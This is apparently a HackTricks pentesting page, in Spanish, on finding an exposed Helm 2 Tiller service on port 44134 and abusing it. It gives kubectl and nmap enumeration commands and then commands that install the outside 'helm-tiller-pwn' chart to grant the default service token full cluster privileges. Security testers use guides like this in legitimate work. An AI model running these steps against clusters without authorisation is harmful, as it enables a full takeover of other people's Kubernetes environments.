hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

5.3 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Información Básica

Helm es el gestor de paquetes para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman Helm Charts. Tiller es el servicio que se ejecuta por defecto en el puerto 44134 ofreciendo el servicio.

Puerto por defecto: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeración

Si puedes enumerar pods y/o servicios de diferentes namespaces, enuméralos y busca aquellos con "tiller" en su nombre:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Ejemplos:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

También podrías intentar encontrar este servicio en ejecución verificando el puerto 44134:

sudo nmap -sS -p 44134 <IP>

Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente helm. Puedes usar herramientas como homebrew, o mirar en la página oficial de lanzamientos. Para más detalles, o para otras opciones, consulta la guía de instalación.

Luego, puedes enumerar el servicio:

helm --host tiller-deploy.kube-system:44134 version

Escalación de Privilegios

Por defecto, Helm2 se instaló en el namespace kube-system con altos privilegios, así que si encuentras el servicio y tienes acceso a él, esto podría permitirte escalar privilegios.

Todo lo que necesitas hacer es instalar un paquete como este: https://github.com/Ruil1n/helm-tiller-pwn que le dará al token de servicio predeterminado acceso a todo en todo el clúster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

En http://rui0.cn/archives/1573 tienes la explicación del ataque, pero básicamente, si lees los archivos clusterrole.yaml y clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ puedes ver cómo todos los privilegios se están otorgando al token predeterminado.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}